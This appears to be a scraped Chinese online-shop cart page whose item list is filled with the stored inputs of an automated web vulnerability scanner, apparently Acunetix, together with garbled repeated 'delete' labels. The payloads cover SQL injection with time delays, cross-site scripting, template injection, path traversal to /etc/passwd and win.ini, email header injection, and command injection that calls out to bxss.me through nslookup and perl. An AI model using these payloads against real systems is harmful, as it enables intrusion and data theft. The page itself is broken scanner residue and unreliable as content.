>
购物车件 7 7删除 3 3删除 1 1删除 删除 + +删除 9 9删除 删除 删除 9 9删除 0 0删除 删除 0 0删除 0 0删除 删除 0 0删除 0 0删除 1 1删除 删除 删除 删除 i i删除 i i删除 i i删除 1 1删除 删除 1 1删除 1 1删除 0 0删除 删除 2 2删除 1 1删除 0 0删除 0 0删除 1 1删除 0 0删除 0 0删除 0 0删除 1 1删除 0 0删除 删除 - -删除 - -删除 0 0删除 删除 删除 0 0删除 0 0删除 0 0删除 f f删除 删除 删除 0 0删除 0 0删除 删除 删除 删除 删除 0 0删除 删除 删除 0 0删除 w w删除 删除 删除 删除 删除 共件商品，总计：￥去结算
7删除
3删除
1删除
删除
+删除
9删除
0删除
i删除
2删除
-删除
f删除
w删除
!(()&&!|*|*|[1] "+"A".concat(70-3).concat(22*4).concat(99).concat(79).concat(115).concat(90)+(require"socket" Socket.gethostbyname("hitos"+"gpmtvxzlfded1.bxss.me.")[3].to_s)+"[1] "+response.write(9150879*9434201)+"[1] ".gethostbyname(lc("hitqw"."ekluihlu33b0f.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(77).chr(105).chr(90)."[1] ";print(md5(31337));$a="[1] "acxzzzzzzzzbbbccccdddeeexca".replace("z"[1] "o")[1] $(nslookup hiteqpfkvxbwd3d485.bxss.me||perl -e "gethostbyname('hiteqpfkvxbwd3d485.bxss.me')")[1] ${10000419+9999075}[1] ${@print(md5(31337))}[1] ${@print(md5(31337))}\[1] %31%37%3C%53%63%52%69%50%74%20%3E%71%68%69%6C%289063%29%3C%2F%73%43%72%69%70%54%3E[1] &(nslookup hitdcsqdaahjy83bcd.bxss.me||perl -e "gethostbyname('hitdcsqdaahjy83bcd.bxss.me')")&'\"`0&(nslookup hitdcsqdaahjy83bcd.bxss.me||perl -e "gethostbyname('hitdcsqdaahjy83bcd.bxss.me')")&`'[1] &echo gwtama$()\ jdhxjn\nz^xyu||a #' &echo gwtama$()\ jdhxjn\nz^xyu||a #|" &echo gwtama$()\ jdhxjn\nz^xyu||a #[1] '"[1] '"()[1] '+'A'.concat(70-3).concat(22*4).concat(106).concat(71).concat(105).concat(87)+(require'socket' Socket.gethostbyname('hitfx'+'czhejmnz5b424.bxss.me.')[3].to_s)+'[1] '+response.write(9150879*9434201)+'[1] '.gethostbyname(lc('hitny'.'xsgotzjo13a51.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(86).chr(100).chr(66).'[1] '.print(md5(31337)).'[1] ';print(md5(31337));$a='[1] (nslookup hitwgdyytwniid674a.bxss.me||perl -e "gethostbyname('hitwgdyytwniid674a.bxss.me')")[1] )[1] )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))[1] -1 OR 2+696-696-1=0+0+0+1 --[1] -1 OR 2+868-868-1=0+0+0+1[1] -1 OR 3*2<(0+5+696-696) --[1] -1 OR 3*2<(0+5+868-868)[1] -1 OR 3*2>(0+5+696-696) --[1] -1 OR 3*2>(0+5+868-868)[1] -1 OR 3+696-696-1=0+0+0+1 --[1] -1 OR 3+868-868-1=0+0+0+1[1] -1" OR 2+438-438-1=0+0+0+1 --[1] -1" OR 3*2<(0+5+438-438) --[1] -1" OR 3*2>(0+5+438-438) --[1] -1" OR 3+438-438-1=0+0+0+1 --[1] -1' OR 2+187-187-1=0+0+0+1 or 'DxQirFsL'='[1] -1' OR 2+49-49-1=0+0+0+1 --[1] -1' OR 3*2<(0+5+187-187) or 'DxQirFsL'='[1] -1' OR 3*2<(0+5+49-49) --[1] -1' OR 3*2>(0+5+187-187) or 'DxQirFsL'='[1] -1' OR 3*2>(0+5+49-49) --[1] -1' OR 3+187-187-1=0+0+0+1 or 'DxQirFsL'='[1] -1' OR 3+49-49-1=0+0+0+1 --[1] -1); waitfor delay '0:0:15' --[1] -1; waitfor delay '0:0:15' --[1] ../../../../../../../../../../../../../../etc/passwd[1] ../../../../../../../../../../../../../../windows/win.ini[1] ../17[1] ./17[1] //xfs.bxss.me[1] /etc/shells[1] /xfs.bxss.me[1] /\xfs.bxss.me[1] 1 [1] 1 waitfor delay '0:0:15' --[1] 1'"[1] 12345'"\'\");|]* { < >[1] 15)[1] 15)||'[1] 17 bcc:009247.498-10892.498.b16a5.20437.2@bxss.me[1] 17[1] 17<ScRiPt>qhil(9172)</sCripT>[1] 17&n965017=v935556[1] 17'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)[1] 17*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)[1] 179536034[1] 17< ScRiPt >qhil(9498)</ScRiPt>[1] 17<a3U1XUM x=9738>[1] 17<aNwa2of<[1] 17<esi:include src="http://bxss.me/rpb.png"/>[1] 17<iframe src='data:text/html;base64[1] 17<ifRAme sRc=9167.com></IfRamE>[1] 17<img sRc='http://attacker-9006/log.php?[1] 17<ScR<ScRiPt>IpT>qhil(9054)</sCr<ScRiPt>IpT>[1] 17<script>qhil(9984)</script>[1] 17<WECTM3>NZKOL[!+!]</WECTM3>[1] 17<WJFCFA>QUXQR[!+!]</WJFCFA>[1] 17\u003CScRiPt\qhil(9473)\u003C/sCripT\u003E[1] 17}body{acu:Expre/**/SSion(qhil(9121))}[1] 1HPfMap3[1] 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>[1] 973790[1] ;(nslookup hitblypljdedn839e1.bxss.me||perl -e "gethostbyname('hitblypljdedn839e1.bxss.me')")|(nslookup hitblypljdedn839e1.bxss.me||perl -e "gethostbyname('hitblypljdedn839e1.bxss.me')")&(nslookup hitblypljdedn839e1.bxss.me||perl -e "gethostbyname('hitbly[1] ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));[1] <!--[1] <%={{={@{#{${acx}}%>[1] <a HrEF=http://xss.bxss.me></a>[1] <a HrEF=jaVaScRiPT:>[1] <th:t="${acx}#foreach[1] @@oVphX[1] acu9564＜s1﹥s2ʺs3ʹuca9564[1] acux2014[1] acx[[${98991*97996}]]xca[1] acx__${98991*97996}__::.x[1] acx{{98991*97996}}xca[1] bxss.me[1] bxss.me/t/xss.html?%00[1] c:/windows/win.ini[1] DVZzQ8NK'; waitfor delay '0:0:15' --[1] echo qstcmj$()\ kdopsh\nz^xyu||a #' &echo qstcmj$()\ kdopsh\nz^xyu||a #|" &echo qstcmj$()\ kdopsh\nz^xyu||a #[1] Http://bxss.me/t/fit.txt[1] http://bxss.me/t/fit.txt?.jpg[1] HttP://bxss.me/t/xss.html?%00[1] http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg[1] http://xfs.bxss.me[1] PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9636'>[1] response.write(9150879*9434201)[1] to@example.com> bcc:009247.498-10893.498.b16a5.20437.2@bxss.me[1] user.php [1] user.php[1] user.php/.[1] ^(#$!@#$)(()))******[1] `(nslookup hityrecpzplloaae1b.bxss.me||perl -e "gethostbyname('hityrecpzplloaae1b.bxss.me')")`[1] |(nslookup hitdjdppfpelu7f214.bxss.me||perl -e "gethostbyname('hitdjdppfpelu7f214.bxss.me')")[1] |echo ihkttx$()\ sbusvl\nz^xyu||a #' |echo ihkttx$()\ sbusvl\nz^xyu||a #|" |echo ihkttx$()\ sbusvl\nz^xyu||a #[1]
